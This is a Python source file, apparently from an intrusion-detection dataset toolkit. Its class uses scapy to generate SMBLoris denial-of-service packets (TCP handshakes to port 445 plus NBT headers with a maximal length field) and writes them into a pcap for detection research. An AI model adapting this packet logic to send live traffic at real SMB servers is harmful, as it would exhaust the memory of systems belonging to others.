import logging import csv from random import shuffle, randint, choice, uniform from lea import Lea from Attack import BaseAttack from Attack.AttackParameters import Parameter as Param from Attack.AttackParameters import ParameterTypes logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # noinspection PyPep8 from scapy.layers.inet import IP, Ether, TCP from scapy.layers.netbios import NBTSession # Resources: # https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/smb/smb_loris.rb # https://samsclass.info/124/proj14/smbl.htm # https://gist.githubusercontent.com/marcan/6a2d14b0e3eaa5de1795a763fb58641e/raw/565befecf4d9a4a27248d027a90b6e3e5994b5b6/smbloris.c # http://smbloris.com/ class SMBLorisAttack(BaseAttack.BaseAttack): # SMB port smb_port = 445 def __init__(self): """ Creates a new instance of the SMBLorisAttack. """ # Initialize attack super(SMBLorisAttack, self).__init__("SMBLoris Attack", "Injects an SMBLoris DoS Attack", "Resource Exhaustion") # Define allowed parameters and their type self.supported_params = { Param.IP_SOURCE: ParameterTypes.TYPE_IP_ADDRESS, Param.IP_DESTINATION: ParameterTypes.TYPE_IP_ADDRESS, Param.MAC_SOURCE: ParameterTypes.TYPE_MAC_ADDRESS, Param.MAC_DESTINATION: ParameterTypes.TYPE_MAC_ADDRESS, Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT, Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION, Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT, Param.ATTACK_DURATION: ParameterTypes.TYPE_INTEGER_POSITIVE } def init_params(self): """ Initialize the parameters of this attack using the user supplied command line parameters. Use the provided statistics to calculate default parameters and to process user supplied queries. :param statistics: Reference to a statistics object. """ # PARAMETERS: initialize with default values # (values are overwritten if user specifies them) most_used_ip_address = self.statistics.get_most_used_ip_address() if isinstance(most_used_ip_address, list): most_used_ip_address = most_used_ip_address[0] self.add_param_value(Param.IP_SOURCE, most_used_ip_address) self.add_param_value(Param.MAC_SOURCE, self.statistics.get_mac_address(most_used_ip_address)) random_ip_address = self.statistics.get_random_ip_address() # ip-dst should be valid and not equal to ip.src while not self.is_valid_ip_address(random_ip_address) or random_ip_address==most_used_ip_address: random_ip_address = self.statistics.get_random_ip_address() self.add_param_value(Param.IP_DESTINATION, random_ip_address) destination_mac = self.statistics.get_mac_address(random_ip_address) if isinstance(destination_mac, list) and len(destination_mac) == 0: destination_mac = self.generate_random_mac_address() self.add_param_value(Param.MAC_DESTINATION, destination_mac) self.add_param_value(Param.PACKETS_PER_SECOND, (self.statistics.get_pps_sent(most_used_ip_address) + self.statistics.get_pps_received(most_used_ip_address)) / 2) self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count())) self.add_param_value(Param.ATTACK_DURATION, 30) def generate_attack_pcap(self): def update_timestamp(timestamp, pps, delay=0): """ Calculates the next timestamp to be used based on the packet per second rate (pps) and the maximum delay. :return: Timestamp to be used for the next packet. """ if delay == 0: # Calculate request timestamp # To imitate the bursty behavior of traffic randomdelay = Lea.fromValFreqsDict({1 / pps: 70, 2 / pps: 20, 5 / pps: 7, 10 / pps: 3}) return timestamp + uniform(1/pps , randomdelay.random()) else: # Calculate reply timestamp randomdelay = Lea.fromValFreqsDict({2*delay: 70, 3*delay: 20, 5*delay: 7, 10*delay: 3}) return timestamp + uniform(1 / pps + delay, 1 / pps + randomdelay.random()) def getIntervalPPS(complement_interval_pps, timestamp): """ Gets the packet rate (pps) for a specific time interval. :param complement_interval_pps: an array of tuples (the last timestamp in the interval, the packet rate in the crresponding interval). :param timestamp: the timestamp at which the packet rate is required. :return: the corresponding packet rate (pps) . """ for row in complement_interval_pps: if timestamp<=row[0]: return row[1] return complement_interval_pps[-1][1] # in case the timstamp > capture max timestamp def getIpData(ip_address: str): """ :param ip_address: the ip of which (packet-)data shall be returned :return: MSS, TTL and Window Size values of the given IP """ # Set MSS (Maximum Segment Size) based on MSS distribution of IP address mss_dist = self.statistics.get_mss_distribution(ip_address) if len(mss_dist) > 0: mss_prob_dict = Lea.fromValFreqsDict(mss_dist) mss_value = mss_prob_dict.random() else: mss_value = self.statistics.process_db_query("most_used(mssValue)") # Set TTL based on TTL distribution of IP address ttl_dist = self.statistics.get_ttl_distribution(ip_address) if len(ttl_dist) > 0: ttl_prob_dict = Lea.fromValFreqsDict(ttl_dist) ttl_value = ttl_prob_dict.random() else: ttl_value = self.statistics.process_db_query("most_used(ttlValue)") # Set Window Size based on Window Size distribution of IP address win_dist = self.statistics.get_win_distribution(ip_address) if len(win_dist) > 0: win_prob_dict = Lea.fromValFreqsDict(win_dist) win_value = win_prob_dict.random() else: win_value = self.statistics.process_db_query("most_used(winSize)") return mss_value, ttl_value, win_value mac_source = self.get_param_value(Param.MAC_SOURCE) mac_destination = self.get_param_value(Param.MAC_DESTINATION) pps = self.get_param_value(Param.PACKETS_PER_SECOND) # Calculate complement packet rates of the background traffic for each interval complement_interval_pps = self.statistics.calculate_complement_packet_rates(pps) # Timestamp timestamp_next_pkt = self.get_param_value(Param.INJECT_AT_TIMESTAMP) # store start time of attack self.attack_start_utime = timestamp_next_pkt timestamp_prv_reply, timestamp_confirm = 0,0 # Initialize parameters packets = [] ip_source = self.get_param_value(Param.IP_SOURCE) ip_destination = self.get_param_value(Param.IP_DESTINATION) # Check ip.src == ip.dst self.ip_src_dst_equal_check(ip_source, ip_destination) # Get MSS, TTL and Window size value for source and destination IP source_mss_value, source_ttl_value, source_win_value = getIpData(ip_source) destination_mss_value, destination_ttl_value, destination_win_value = getIpData(ip_destination) minDelay,maxDelay = self.get_reply_delay(ip_destination) attack_duration = self.get_param_value(Param.ATTACK_DURATION) attack_ends_time = timestamp_next_pkt + attack_duration sport = 1025 attacker_seq = randint(1000, 50000) victim_seq = randint(1000, 50000) # FIXME: Improve timestamp generation while timestamp_next_pkt <= attack_ends_time: # Establish TCP connection if sport > 65535: sport = 1025 # prepare reusable Ethernet- and IP-headers attacker_ether = Ether(src=mac_source, dst=mac_destination) attacker_ip = IP(src=ip_source, dst=ip_destination, ttl=source_ttl_value, flags='DF') victim_ether = Ether(src=mac_destination, dst=mac_source) victim_ip = IP(src=ip_destination, dst=ip_source, ttl=destination_ttl_value, flags='DF') # connection request from attacker (client) syn_tcp = TCP(sport=sport, dport=self.smb_port, window=source_win_value, flags='S', seq=attacker_seq, options=[('MSS', source_mss_value)]) attacker_seq += 1 syn = (attacker_ether / attacker_ip / syn_tcp) syn.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay) packets.append(syn) # response from victim (server) synack_tcp = TCP(sport=self.smb_port, dport=sport, seq=victim_seq, ack=attacker_seq, flags='SA', window=destination_win_value, options=[('MSS', destination_mss_value)]) victim_seq += 1 synack = (victim_ether / victim_ip / synack_tcp) synack.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay) packets.append(synack) # acknowledgement from attacker (client) ack_tcp = TCP(sport=sport, dport=self.smb_port, seq=attacker_seq, ack=victim_seq, flags='A', window=source_win_value, options=[('MSS', source_mss_value)]) ack = (attacker_ether / attacker_ip / ack_tcp) ack.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay) packets.append(ack) # send NBT session header paket with maximum LENGTH-field req_tcp = TCP(sport=sport, dport=self.smb_port, seq=attacker_seq, ack=victim_seq, flags='AP', window=source_win_value, options=[('MSS', source_mss_value)]) req_payload = NBTSession(TYPE=0x00, LENGTH=0x1FFFF) attacker_seq += len(req_payload) req = (attacker_ether / attacker_ip / req_tcp / req_payload) req.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay) packets.append(req) # final ack from victim (server) last_ack_tcp = TCP(sport=self.smb_port, dport=sport, seq=victim_seq, ack=attacker_seq, flags='A', window=destination_win_value, options=[('MSS', destination_mss_value)]) last_ack = (victim_ether / victim_ip / last_ack_tcp) last_ack.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay) packets.append(last_ack) sport += 1 # FIXME: RST? # store end time of attack self.attack_end_utime = packets[-1].time # write attack packets to pcap pcap_path = self.write_attack_pcap(sorted(packets, key=lambda pkt: pkt.time)) # return packets sorted by packet time_sec_start return len(packets), pcap_path